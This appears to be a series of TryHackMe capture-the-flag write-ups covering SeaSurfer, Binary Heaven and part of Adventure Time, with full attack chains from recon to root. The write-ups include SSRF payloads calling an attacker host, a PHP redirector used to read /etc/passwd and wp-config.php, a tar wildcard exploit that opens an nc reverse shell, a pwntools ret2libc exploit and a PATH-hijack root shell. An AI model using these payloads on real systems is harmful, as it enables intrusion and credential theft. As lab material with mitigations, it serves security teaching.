An ffuf directory/vhost sweep against seasurfer.thm turned up an exposed Adminer 4.8.1 database-management panel:

http://seasurfer.thm/adminer/?username=&db=wp-users

At this point it couldn't be used - no valid credentials were known yet, and blank credentials returned Access denied for user '@localhost' (using password: NO). This panel was bookmarked for later.

A separate ffuf VHost-header fuzz identified a second virtual host not linked anywhere on the public site:

ffuf -u http://seasurfer.thm/ -H "HOST: FUZZ.seasurfer.thm" \
     -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
...
internal   [Status: 200, Size: 3072, Words: 225, Lines: 109, Duration: 212ms]

Added to /etc/hosts: machine-ip internal.seasurfer.thm.

3. internal.seasurfer.thm - Receipt Generator

The internal-only app is a simple "create a receipt" form (index.php) that posts to output.php, which renders invoice.php into a PDF saved under /invoices/<id>.pdf.

3.1 Root Cause - No Output Encoding

A shell obtained later in the engagement confirmed the source directly:

// invoice.php (excerpt)
Receipt ID: <?php echo $_GET['id']?>
Customer name: <?php echo $_GET['name']?>
Additional information: <?php echo $_GET['comment']?>
Payment: <?php echo $_GET['payment']?>
foreach ($_GET as $key => $value) {
    if (strpos($key, 'item') === 0)  echo "<tr class='item'><td>$value</td>";
    if (strpos($key, 'price') === 0) echo "<td>\$$value</td></tr>";
}

Every single query parameter is echoed directly into the HTML with zero sanitization or escaping, and that HTML is then rendered server-side into a PDF. This is the single root cause behind the injection, SSRF, and LFI findings below.

3.2 Confirming HTML Injection

Submitting <b>test<b/test> as the comment rendered as bold text in the generated PDF - confirming the field is interpreted as raw HTML by the PDF rendering engine, not displayed as plain text.

3.3 SSRF - Outbound Callback

HTML-to-PDF converters (wkhtmltopdf and similar) fetch any external resource referenced in rendered HTML - from the server, not the client.

Payload (submitted as the comment):

<html> <iframe src="http://attacker-ip/"></iframe> </html>

Listener on the attacker host:

python3 -m http.server 80

Result - the attacker's listener received a callback from the target:

machine-ip - - [06/Oct/2026 17:30:54] "GET / HTTP/1.1" 200 -

SSRF confirmed: the PDF renderer, running server-side, follows attacker-controlled URLs.

3.4 LFI - Reading Local Files

Several file:// payload shapes were tried without success first:

<html> <iframe src="file://etc/passwd"></iframe> </html>
<object data="file:///etc/passwd" type="text/plain"></object>
<img src="file:///etc/passwd">
<style>body { background-image: url('file:///etc/passwd'); }</style>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///etc/passwd", false);
xhr.send(null);
document.write(xhr.responseText);
</script>

None of the direct file:// payloads above actually worked, no matter the tag or the exact slash count - the renderer simply would not resolve a file:// URI placed straight into the injected HTML. The technique that actually worked was indirect: hosting a small PHP redirector on the attacker machine and pointing the injected <iframe> at that, letting the PDF renderer follow a same-origin-looking HTTP response that then 302-redirects it to a file:// URI itself.

// redirect.php (hosted on the attacker machine)
<?php
header("Location: file:///etc/passwd");
?>

php -S 0.0.0.0:80

Injection payload (submitted as the comment field):

<iframe src="http://attacker-ip/redirect.php" style="width:1000px;height:5000px;border:none;"></iframe>

The target's PDF renderer requested redirect.php over plain HTTP (confirmed server-side in the PHP dev server log: GET /redirect.php -> 302), and - unlike a file:// URI written directly into the HTML - followed that redirect itself, landing on file:///etc/passwd and rendering its full contents inline in the resulting PDF (confirming users kyle, mysql, ubuntu, www-data, etc. on the box).

Pivoting the LFI to a higher-value target - the same redirector technique, with the Location header changed to point at WordPress's config file:

// redirect.php
<?php
header("Location: file:///var/www/wordpress/wp-config.php");
?>

Re-requesting the same <iframe src="http://attacker-ip/redirect.php"> payload against the updated redirector disclosed the full wp-config.php, including:

define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wordpressuser' );
define( 'DB_PASSWORD', 'coolDataTablesMan' );
define( 'DB_HOST', 'localhost' );
// plus AUTH_KEY / SECURE_AUTH_KEY / LOGGED_IN_KEY / NONCE_KEY / *_SALT values

4. From Leaked DB Credentials to a WordPress Account

4.1 Adminer Login

The wordpressuser / coolDataTablesMan credentials pulled straight out of wp-config.php were used against the Adminer panel discovered earlier:

http://seasurfer.thm/adminer/?username=wordpressuser&db=wordpress

4.2 Dumping wp_users

SELECT * FROM wp_users LIMIT 50;

Returned a single account:

ID	user_login	user_pass	user_email
1	kyle	`$P$BuCryp52DAdCRIcLrT9vrFNb0vPcyi/`	kyle@seasurfer.thm

4.3 Cracking the Hash

john --wordlist=/usr/share/wordlists/rockyou.txt kyle-hash
...
jenny4ever       (?)
1g 0:00:00:08 DONE

The phpass hash cracked almost instantly against rockyou.txt - the password jenny4ever is a weak, dictionary-adjacent value with no complexity.

4.4 WordPress Admin Login

kyle / jenny4ever authenticated successfully at http://seasurfer.thm/wp-login.php, landing on a full WordPress Dashboard (confirmed as an administrator - the account has a custom "Teams" menu item from the team-members plugin and full wp-admin access).

5. Authenticated RCE via WordPress Theme Editor

With admin access to wp-admin, the built-in Theme File Editor (Appearance -> Theme File Editor) was used to edit the active theme's 404.php template, injecting a PHP web shell / reverse-shell payload, then clicking Update File. WordPress writes the edited PHP directly to disk with no code-execution restriction for admin users.

Visiting any non-existent path on the site (e.g. http://seasurfer.thm/<random-path>) triggers Apache/WordPress's 404 handling, which executes the now-malicious 404.php.

A listener was started first:

penelope listen -p 4444

Then the crafted URL was requested, and the listener caught a shell:

[+] [New Reverse Shell] => ip-machine-ip machine-ip Linux-x86_64  Session ID <1>
www-data@ip-machine-ip:/$ whoami
www-data
www-data@ip-machine-ip:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Code execution as www-data obtained.

6. Privilege Escalation: www-data -> kyle (Tar Wildcard Injection)

Exploring the webroot as www-data surfaced a maintenance script:

www-data@ip-machine-ip:/var/www/internal/maintenance$ cat backup.sh
#!/bin/bash
# Brandon complained about losing _one_ receipt when we had 5 minutes of downtime,
# set this to run every minute now >:D
cd /var/www/internal/invoices
tar -zcf /home/kyle/backups/invoices.tgz *

This script is scheduled to run every minute (by kyle's crontab, inferred from the output path /home/kyle/backups/), and it runs tar with a bare * glob inside /var/www/internal/invoices - a directory the web application (and therefore www-data) can write to, since generated receipts land there. This is the textbook setup for the classic tar wildcard injection technique: filenames in the target directory that look like tar command-line flags get expanded by the shell glob and interpreted by tar as options.

Exploit:

echo 'mkfifo /tmp/lhennp; nc attacker-ip 5555 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp' > shell.sh
chmod +x shell.sh

echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"

When the cron-triggered tar -zcf ... * next ran (within one minute), the glob expanded to include the two specially-named files, tar interpreted them as --checkpoint=1 --checkpoint-action=exec=sh shell.sh, and executed shell.sh as the user owning the cron job (kyle).

penelope listen -p 5555
...
[+] [New Reverse Shell] => ip-machine-ip machine-ip Linux-x86_64  Session ID <1>
kyle@ip-machine-ip:/var/www/internal/invoices$ whoami
kyle
kyle@ip-machine-ip:/var/www/internal/invoices$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev)

Shell upgraded to kyle (notably in the sudo group, but not yet usable - see Section 7).

User Flag

kyle@ip-machine-ip:~$ cat user.txt
THM{REDACTED}

A personal SSH key was then added to kyle's ~/.ssh/authorized_keys for stable, persistent access, and subsequent interaction was done over a normal SSH session:

ssh -i ~/.ssh/id_ed25519 kyle@seasurfer.thm

7. Privilege Escalation: kyle -> root (Leftover SSH Agent + pam_ssh_agent_auth)

7.1 Dead Ends

A standard SUID sweep found nothing unusual:

kyle@ip-machine-ip:~$ find / -perm -4000 2>/dev/null
# only standard system SUID binaries (mount, passwd, sudo, su, pkexec, etc.)

7.2 Unusual sudo Configuration

kyle is in the sudo group, but sudo -l initially requires authentication that plain password/console login doesn't satisfy. Inspecting the PAM stack explained why:

kyle@ip-machine-ip:~$ cat /etc/pam.d/sudo
#%PAM-1.0
auth sufficient pam_ssh_agent_auth.so file=/etc/ssh/sudo_authorized_keys
session    required   pam_env.so readenv=1 user_readenv=0
session    required   pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
@include common-auth
@include common-account
@include common-session-noninteractive

sudo on this host is configured to authenticate via pam_ssh_agent_auth: if the invoking process has SSH_AUTH_SOCK pointed at an agent holding a private key listed in /etc/ssh/sudo_authorized_keys, sudo succeeds with no password at all.

7.3 Finding a Usable Agent Socket

A process listing revealed another session had left an SSH agent running and forwarded:

kyle@ip-machine-ip:~$ ps aux
...
kyle    1059  0.0  0.3  13920  3256 ?        S  bash -c "sudo /root/admincheck; sleep infinity"
...

And a corresponding agent socket with loose permissions:

kyle@ip-machine-ip:~$ ls -lpah /tmp/ssh-I2y4KwPuPD/agent.1145
srwxrwxr-x 1 kyle kyle 0 ... /tmp/ssh-I2y4KwPuPD/agent.1145

The socket is owned by kyle and group/other-writable (srwxrwxr-x), i.e. fully usable by the kyle shell already obtained. Pointing the current shell's SSH_AUTH_SOCK at it exposed a loaded key:

kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ export SSH_AUTH_SOCK=/tmp/ssh-rOWRscow8o/agent.1138
kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ ssh-add -l
3072 SHA256:boZASmxRncp8AM+gt1toNuZr9jh1dyatwf9DPZYit88 kyle@seasurfer (RSA)

7.4 Escalating

With that agent socket active, sudo - authenticated via pam_ssh_agent_auth against /etc/ssh/sudo_authorized_keys - succeeded outright:

kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ sudo -l
Matching Defaults entries for kyle on seasurfer:
    env_keep+=SSH_AUTH_SOCK, env_reset, timestamp_timeout=420, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User kyle may run the following commands on seasurfer:
    (ALL : ALL) ALL

kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ sudo su
root@seasurfer:/tmp/ssh-rOWRscow8o# cd /root
root@seasurfer:~# ls
admincheck  credits.txt  hidePID.sh  root.txt  snap  SSHtoserver.sh

Full root access obtained.

Root Flag

root@seasurfer:~# cat root.txt
THM{REDACTED}

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Internal hostname disclosure via custom response header	`X-Backend-Server` header, port 80	Revealed the real site name, enabling further vhost enumeration
2	Unauthenticated internal-only application reachable from outside	`internal.seasurfer.thm`	Exposed a tool never meant to face the internet
3	Reflected server-side HTML injection (no output encoding)	`invoice.php` - every `$_GET` key echoed raw	Root cause enabling #4 and #5
4	SSRF via HTML-to-PDF rendering	Receipt generator comment field	Server made outbound requests to attacker infrastructure
5	Local File Inclusion, reached by chaining the SSRF through an attacker-hosted HTTP redirect to `file://`	Receipt generator comment field	Disclosed `/etc/passwd` and `wp-config.php` (DB creds + WP secret keys)
6	Exposed Adminer instance, reachable with leaked DB credentials	`seasurfer.thm/adminer/`	Full read/write access to the WordPress database
7	Weak/crackable user password	`kyle`'s WordPress `phpass` hash	Cracked in seconds with `rockyou.txt`
8	Authenticated RCE via WordPress Theme File Editor	`wp-admin` -> Appearance -> Theme File Editor	Direct PHP code execution as the web server user
9	Unsafe `tar` wildcard usage in a privileged cron job, over a web-writable directory	`/var/www/internal/maintenance/backup.sh` (runs every minute)	Local privilege escalation from `www-data` to `kyle`
10	World/group-accessible leftover SSH agent socket + permissive `pam_ssh_agent_auth` sudo rule	`/tmp/ssh-/agent.`, `/etc/pam.d/sudo`, `/etc/ssh/sudo_authorized_keys`	Local privilege escalation from `kyle` to `root`

Attack Chain Summary

X-Backend-Server header leak
        |
        v
seasurfer.thm discovered (WordPress) --> ffuf finds /adminer/ (no creds yet)
        |
        v
ffuf vhost fuzz discovers internal.seasurfer.thm
        |
        v
Receipt generator (invoice.php) - unsanitized $_GET echoed into rendered HTML
        |
        +--> HTML injection confirmed (<b> test)
        +--> SSRF confirmed (iframe -> attacker http.server callback)
        +--> LFI via SSRF chained through an attacker-hosted PHP redirector (direct file:// payloads failed)
                 |
                 +--> /etc/passwd read
                 +--> wp-config.php read -> DB_USER / DB_PASSWORD leaked
                          |
                          v
                 Adminer login succeeds (wordpressuser / coolDataTablesMan)
                          |
                          v
                 wp_users dumped -> kyle's phpass hash
                          |
                          v
                 john + rockyou.txt -> password "jenny4ever"
                          |
                          v
                 WordPress admin login as kyle
                          |
                          v
                 Theme File Editor -> malicious 404.php -> RCE
                          |
                          v
                 Reverse shell as www-data
                          |
                          v
                 tar wildcard injection in cron backup.sh (web-writable dir)
                          |
                          v
                 Reverse shell as kyle (user.txt)
                          |
                          v
                 Leftover world-usable SSH agent socket + pam_ssh_agent_auth sudo rule
                          |
                          v
                 sudo su -> root (root.txt)

Mitigations

Finding	Recommended Fix
Vhost name leaked via `X-Backend-Server`	Remove/strip custom debug headers from production responses; never expose internal hostnames to clients.
Internal app reachable externally	Internal-only vhosts should be bound to an internal network interface or protected by network ACLs / a VPN, not merely "unlinked." Security by obscurity (an unlisted vhost) is not a control.
Unsanitized `$_GET` reflected into rendered HTML	Always HTML-encode user input before interpolating it into any template (`htmlspecialchars()` at minimum); better, use a templating engine with auto-escaping by default.
SSRF in HTML-to-PDF rendering	Disable remote resource loading in the PDF engine (e.g. `--disable-local-file-access` and restrict/deny outbound network access for the rendering process); render from a sanitized DOM/allow-list of tags rather than raw user HTML; run the renderer in an isolated/sandboxed, network-restricted container.
LFI via `file://`	Same as above - disable local file access in the renderer, and additionally sandbox the rendering process's filesystem view (chroot/container) so even a successful file-scheme request can't reach sensitive paths like `wp-config.php`.
Secrets in `wp-config.php` reachable by the web server process	Store DB credentials and secret keys outside the webroot or in environment variables / a secrets manager, and ensure the PDF renderer cannot reach arbitrary paths on disk in the first place.
Adminer exposed on the production vhost	Do not deploy Adminer (or any DB admin tool) on a public-facing, production host; if needed, bind it to localhost and tunnel/VPN, add IP allow-listing, and require strong, unique credentials and MFA where supported.
Weak, crackable password (`jenny4ever`)	Enforce a strong password policy / minimum entropy for all accounts, especially privileged WordPress and system accounts; consider MFA on `wp-admin`.
Theme File Editor enabled for admin accounts	Disable the Theme/Plugin File Editor (`define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`); restrict `wp-admin` to trusted IPs; apply least privilege to WordPress accounts.
`tar` wildcard expansion over a web-writable directory, run by cron	Never glob (`*`) over attacker-influenceable directories; use `tar --` with explicit file lists, or `find ... -print0 \
Leftover/forwarded SSH agent socket left world/group accessible	Never leave forwarded agent sockets reachable by other local users; use {% raw %}`ssh -o ForwardAgent=no` by default and only forward deliberately and briefly; tighten socket permissions; avoid long-lived background processes (`sleep infinity`) that hold onto sensitive file descriptors/sockets.
`pam_ssh_agent_auth` trusting any reachable agent-held key for `sudo`	Scope `/etc/ssh/sudo_authorized_keys` tightly and audit it regularly; prefer standard password or hardware-token-based sudo authentication unless the operational need for agent-based sudo is well understood and the agent exposure is tightly controlled; monitor for anomalous `sudo` sessions authenticated this way.

References

HTML to PDF converters: can I hack them? - Tempest Security, SideChannel blog: https://www.tempest.com.br/sidechannel/en/html-to-pdf-converters-can-i-hack-them (background on SSRF/LFI techniques against server-side HTML-to-PDF renderers, used to guide Section 3.3 - 3.4)
pam_ssh_agent_auth man page: https://manpages.ubuntu.com/manpages/bionic/man8/pam_ssh_agent_auth.8.html (used to understand the sudo PAM configuration in Section 7.2 - 7.4)

Flags have been redacted in this report per request. machine-ip refers to the lab target and attacker-ip refers to the attacker host; neither is publicly routable.

TryHackMe: Binary Heaven - Writeup

Yogeshwar Peela — Mon, 28 Sep 2026 15:34:24 +0000

Summary

A locked-down TryHackMe box gating SSH access behind two credential-checking binaries: a small C program with an anti-debug/obfuscated string comparison, and a statically linked Go binary hiding a plaintext password in .rodata. Static reverse engineering in Ghidra and GDB recovers both credentials and yields SSH access as guardian. From there, a 32-bit SUID binary with no stack canary is exploited via classic ret2libc (using a libc address the binary leaks for free) to escalate to binexgod. Finally, a root-owned SUID binary that calls system() with an unqualified echo inside /usr/bin/env is abused via PATH hijacking to spawn a root shell, despite the binary's attempt to drop privileges beforehand.

See the Complete Attack Chain at the end for the condensed version of the whole path.

Overview

Machine: Binary Heaven
Attacker IP: 10.x.x.x (Kali)
Target IP: 10.49.188.50

Recon

Downloaded and unzipped the provided credentials archive:

unzip credentials_1614324056485.zip
file angel_*

angel_A: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
angel_B: ELF 64-bit LSB executable, x86-64, statically linked (Go binary), not stripped

Two binaries - a small C program and a Go program - both gating some kind of login prompt.

Stage 1 - angel_A (Anti-Debug + Obfuscated Username Check)

strings angel_A showed the binary calls ptrace, and the prompt text gave away the anti-debug gimmick directly:

Using debuggers? Here is tutorial https://www.youtube.com/watch?v=dQw4w9WgXcQ
Say my username >>
That is not my username!
Correct! That is my name!

Loaded the binary into Ghidra rather than fighting the check live in GDB - since the process never gets ptrace'd by us, the self-detection branch never fires, and static analysis sidesteps it entirely.

Decompiling main()

lVar1 = ptrace(PTRACE_TRACEME,0,1,0,param_5,param_6,param_2);
if (lVar1 == -1) {
  printf("Using debuggers? Here is tutorial https://www.youtube.com/watch?v=dQw4w9WgXcQ/n%22");
  exit(1);
}
printf("\x1b\36m\nSay my username >> \x1b\0m");
fgets((char *)local_15,9,stdin);
local_c = 0;
while( true ) {
  if (7 < local_c) {
    puts("\x1b\32m\nCorrect! That is my name!\x1b\0m");
    return 0;
  }
  if (*(int *)(username + (long)local_c * 4) != (char)(local_15[local_c] ^ 4) + 8) break;
  local_c = local_c + 1;
}
puts("\x1b\31m\nThat is not my username!\x1b\0m");

Not a plain strcmp - a byte-by-byte loop comparing each input character, transformed as (input_char ^ 4) + 8, against a global array username, stored as full 4-byte ints rather than a packed char[] (visible in the listing as 6b 00 00 00 79 00 00 00 ...).

Extracting and inverting

00104060  6b 00 00 00 79 00 00 00 6d 00 00 00 7e 00 00 00
          68 00 00 00 75 00 00 00 6d 00 00 00 72 00 00 00

Low bytes: 0x6b 0x79 0x6d 0x7e 0x68 0x75 0x6d 0x72

raw_bytes = [0x6b, 0x79, 0x6d, 0x7e, 0x68, 0x75, 0x6d, 0x72]
password = ''.join(chr((b - 8) ^ 4) for b in raw_bytes)
print(password)

guardian

Confirmed:

./angel_A
Say my username >> guardian
Correct! That is my name!

Username: guardian

Stage 2 - angel_B (Go Binary Password Check)

strings angel_B was too noisy (full Go runtime symbol table, GC internals). Went straight to GDB:

gdb ./angel_B
(gdb) info functions

Surfaced main.main cleanly. Disassembled it:

mov 0x40(%rsp),%rax
mov 0x8(%rax),%rcx
mov (%rax),%rax
cmp $0xb,%rcx          # length check == 11 (len("GOg0esGrrr!"))
je 0x4a54a1
...
0x4a54a1:
mov %rax,(%rsp)
lea 0x2585f(%rip),%rax   # 0x4cad0b  <- reference string address
mov %rax,0x8(%rsp)
mov %rcx,0x10(%rsp)
call runtime.memequal

Go string comparisons compile to a length check (0xb = 11 bytes) plus runtime.memequal against a .rodata pointer.

gdb -batch -ex 'x/s 0x4cad0b' ./angel_B

0x4cad0b: "GOg0esGrrr!Ideographic..."

The confirmed 11-byte length gave the exact cutoff.

Password: GOg0esGrrr!

Confirmed:

./angel_B
Say the magic word >> GOg0esGrrr!
Right password! Now GO ahead and SSH into heaven.

Initial Access - SSH as guardian

ssh guardian@10.49.188.50
# password: GOg0esGrrr!

guardian@heaven:~$ id
uid=1001(guardian) gid=1001(guardian) groups=1001(guardian)

Flag 1

cat guardian_flag.txt

THM{REDACTED_GUARDIAN_FLAG}

Privilege Escalation - guardian to binexgod

Enumeration

ls -la

-rwsr-sr-x 1 binexgod binexgod 15772 May  8  2021 pwn_me

Setuid/setgid binary owned by binexgod. .python_history hinted at prior buffer-length fuzzing ('A'*32, 'A'*55).

file pwn_me

pwn_me: setuid, setgid ELF 32-bit LSB shared object, dynamically linked, interpreter /lib/ld-linux.so.2

checksec --file=pwn_me

RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

No canary + NX enabled -> classic ret2libc target.

Finding the Overflow

./pwn_me
Binexgod said he want to make this easy.
System is at: 0xf7df4950

The binary leaks a live system() address on every run - no need for a separate leak primitive.

gdb ./pwn_me
(gdb) info functions
(gdb) disassemble vuln

sub $0x24,%esp
...
call <fgets/read equivalent>

vuln() reads into a small fixed buffer with no length check.

gdb ./pwn_me
(gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*32 + b'BBBB')")

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r eip
eip            0x42424242       0x42424242

Offset to return address: 32 bytes

Building the ret2libc Chain

ldd pwn_me
# libc.so.6 => /lib32/libc.so.6

readelf -s /lib32/libc.so.6 | grep " system"
# 1457: 0003a950  55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0

strings -a -t x /lib32/libc.so.6 | grep "/bin/sh"
# 15910b /bin/sh

libc_base = leak - 0x3a950
binsh_addr = libc_base + 0x15910b

from pwn import *

p = process('./pwn_me')

p.recvuntil(b'System is at: ')
leak = int(p.recvline().strip(), 16)
log.info(f"Leaked system(): {hex(leak)}")

libc_base   = leak - 0x3a950
system_addr = leak
binsh_addr  = libc_base + 0x15910b

payload  = b'A' * 32
payload += p32(system_addr)
payload += p32(0x41414141)
payload += p32(binsh_addr)

p.sendline(payload)
p.interactive()

Since pwn_me is SUID/SGID binexgod, the spawned /bin/sh inherits those bits:

whoami
binexgod
id
uid=1002(binexgod) gid=1001(guardian) groups=1001(guardian)

Flag 2

cat binexgod_flag.txt

THM{REDACTED_BINEXGOD_FLAG}

Privilege Escalation - binexgod to root

Enumeration

ls -la vuln

-rwsr-xr-x 1 root binexgod 8824 Mar 15  2021 vuln

SUID root, group binexgod. Source was readable:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo Get out of heaven lol");
}

./vuln

Get out of heaven lol

The Vulnerability

The binary drops privileges via setresuid/setresgid before calling system() - but since it's SUID root, geteuid()/getegid() already return 0, so those calls re-affirm root instead of dropping it. system() is still called with /usr/bin/env echo ...: an absolute path to env, but env resolves echo via $PATH search, not a hardcoded location.

which env
# /usr/bin/env
echo $PATH
# /home/guardian/bin:...:/usr/bin:/sbin:/bin:...

Exploitation

mkdir -p /tmp/evil

echo '#!/bin/bash
/bin/bash -p' > /tmp/evil/echo

chmod +x /tmp/evil/echo

export PATH=/tmp/evil:$PATH

./vuln

env's echo lookup resolves to the attacker-controlled script, spawning a root shell (bash -p preserves the elevated UID/GID):

root@heaven:/home/binexgod# whoami
root

Root Flag

cd /root
cat root.txt

THM{REDACTED_ROOT_FLAG}

Complete Attack Chain

angel_A (Ghidra static analysis, bypass ptrace anti-debug)
  -> decompile obfuscated byte-transform check
  -> invert (input^4)+8 transform on hardcoded username array
  -> guardian

angel_B (GDB, info functions -> main.main disassembly)
  -> length check (0xb) + runtime.memequal against .rodata pointer
  -> dump reference string at leaked address
  -> GOg0esGrrr!

SSH as guardian (guardian:GOg0esGrrr!)
  -> FLAG 1 (guardian_flag.txt)

Enumeration -> pwn_me (SUID/SGID binexgod, no canary, NX enabled, leaks system() address)
  -> gdb: vuln() unbounded read, offset to EIP = 32 bytes
  -> readelf/strings on /lib32/libc.so.6 -> system() offset + /bin/sh offset
  -> ret2libc payload: padding + system() + junk_ret + /bin/sh
  -> shell as binexgod
  -> FLAG 2 (binexgod_flag.txt)

Enumeration -> vuln (SUID root, binexgod group)
  -> source shows setresuid/setresgid "hardening" that re-affirms root (already root via SUID)
  -> system("/usr/bin/env echo ...") resolves "echo" via $PATH, not hardcoded
  -> PATH hijack: /tmp/evil/echo -> /bin/bash -p
  -> export PATH=/tmp/evil:$PATH; ./vuln
  -> root shell
  -> ROOT FLAG (root.txt)

Key Takeaways / Exploit Notes

Anti-debug checks (ptrace self-detection) can often be bypassed entirely by static analysis instead of live debugging - no need to patch or defeat the check if you never attach a debugger.
Go binaries are statically linked and symbol-heavy; info functions / disassemble main.main in GDB is far more useful than strings alone for locating comparison logic.
No stack canary + NX + leaked libc address = ideal, low-friction ret2libc scenario; no need to brute-force or leak libc via a separate format string bug since the binary handed us the address directly.
SUID binaries calling system()/unqualified binary names are a PATH hijacking goldmine - always check strings <suid_binary> for shell-outs and enumerate $PATH write permissions.
Privilege-dropping calls that run after the process already holds the target privilege don't drop anything - setresuid(geteuid(), ...) on a SUID-root binary just reasserts root.

TryHackMe: Adventure Time Writeup

Yogeshwar Peela — Tue, 22 Sep 2026 12:20:08 +0000

Summary

Adventure Time is a hard-rated TryHackMe box themed around the cartoon, with a heavy focus on multi-layered encoding/decoding puzzles, steganography, and lateral movement through several user accounts before reaching root. The attack path begins with FTP anonymous login retrieving six JPEG images whose EXIF XP Comment fields encode binary fragments, which concatenate to a hint phrase. A chain of web pages hosted at land-of-ooo.com — discovered by following the SSL certificate clue from the HTTPS vhost — delivers credentials through Morse code, AES decryption, Vigenère cipher, and a Spoon (esoteric binary language) challenge. Each credential unlocks the next user. The final privilege escalation abuses a SUID-root exim4 binary vulnerable to CVE-2019-10149 (The Return of the WIZard), landing a root shell and the BMO reset code hidden in Bubblegum's home directory.

Attack Chain

1. Recon

rustscan -a MACHINE_IP --ulimit 5000

Open MACHINE_IP:21
Open MACHINE_IP:22
Open MACHINE_IP:80
Open MACHINE_IP:443
Open MACHINE_IP:31337

nmap -sC -sV MACHINE_IP -p 21,22,80,443,31337

PORT      STATE SERVICE  VERSION
21/tcp    open  ftp      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r--    1 ftp      ftp       1401357 Sep 21  2019 1.jpg
| -r--r--r--    1 ftp      ftp        233977 Sep 21  2019 2.jpg
| -r--r--r--    1 ftp      ftp        524615 Sep 21  2019 3.jpg
| -r--r--r--    1 ftp      ftp        771076 Sep 21  2019 4.jpg
| -r--r--r--    1 ftp      ftp       1644395 Sep 21  2019 5.jpg
|_-r--r--r--    1 ftp      ftp         40355 Sep 21  2019 6.jpg
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.29
|_http-title: 404 Not Found
443/tcp   open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: You found Finn
| ssl-cert: Subject: commonName=adventure-time.com/organizationName=Candy Corporate Inc.
31337/tcp open  Elite?
| fingerprint-strings:
|   GenericLines, NULL:
|     Hello Princess Bubblegum. What is the magic word?

Port 31337 is a custom TCP service that prompts for a "magic word". Port 80 returns 404. Port 443 has a self-signed cert for adventure-time.com.

2. FTP anonymous login - EXIF binary decode

ftp MACHINE_IP 21

Name: anonymous
230 Login successful.
ftp> prompt off
ftp> mget *

Six JPEGs downloaded. All have binary data embedded in the XP Comment EXIF field:

exiftool *.jpg | grep "XP Comment"

XP Comment : 01111001 01101111 01110101 00100000
XP Comment : 01110010 01100101 01100001 01101100 01101100 01111001 00100000
XP Comment : 01101100 01101001 01101011 01100101 00100000
XP Comment : 01110100 01101111 00100000
XP Comment : 01110000 01110101 01111010 01111010 01101100 01100101 00100000
XP Comment : 01100100 01101111 01101110 00100111 01110100 00100000 01111001 01100001

Decoding each binary sequence and concatenating:

1.jpg → you
2.jpg → really
3.jpg → like
4.jpg → to
5.jpg → puzzle
6.jpg → don't ya

Result: "you really like to puzzle don't ya"

Tried this as the magic word on port 31337 - rejected. It's a clue, not the answer itself.

nc MACHINE_IP 31337
Hello Princess Bubblegum. What is the magic word?
you really like to puzzle don't ya
The magic word is not you really like to puzzle don't ya

3. Web enumeration - HTTPS vhost

Port 80 (HTTP) returns 404. Port 443 (HTTPS) serves content:

curl -k https://MACHINE_IP/

<title>You found Finn</title>
<img src="finn-1.png" alt="the magic word" style="width: 100%">

The SSL cert's commonName=adventure-time.com is the clue. Added adventure-time.com to /etc/hosts. Gobuster against the HTTPS service:

gobuster dir -u https://MACHINE_IP/ -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

candybar    (Status: 301) [Size: 321] [--> https://MACHINE_IP/candybar/]

curl -k https://MACHINE_IP/candybar/

<title>Where is Jake?</title>
<img src="finn-2.png" alt="the magic word" style="width: 100%">
<!-- KBQWY4DONAQHE53UOJ5CA2LXOQQEQSCBEBZHIZ3JPB2XQ4TQNF2CA5LEM4QHEYLKORUC4=== -->

Decoding the HTML comment:

echo 'KBQWY4DONAQHE53UOJ5CA2LXOQQEQSCBEBZHIZ3JPB2XQ4TQNF2CA5LEM4QHEYLKORUC4===' | base32 -d

Palpnh rwtrz iwt HHA rtgixuxrpit udg rajth.

Applying Caesar cipher with shift -15 decodes to: "ALWAYS CHECK THE SSL CERTIFICATE FOR CLUES"

The certificate confirmed adventure-time.com / land-of-ooo.com as the target domain.

4. Enumerating land-of-ooo.com

ffuf -u https://land-of-ooo.com/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

yellowdog    [Status: 301, Size: 322]

curl -k https://land-of-ooo.com/yellowdog/

<title>To find a password</title>
<img src="jake-2.png" alt="what is the password?" style="width: 100%">

ffuf -u https://land-of-ooo.com/yellowdog/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

bananastock    [Status: 301]

The /yellowdog/bananastock/ page displayed two Banana Guards with their password rendered as Morse code using / as dot delimiter and \ as word delimiter. Decoded in CyberChef (From Morse Code, Letter delimiter: Forward slash, Word delimiter: Backslash):

"THE BANANAS ARE THE BEST!!!"

ffuf -u https://land-of-ooo.com/yellowdog/bananastock/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

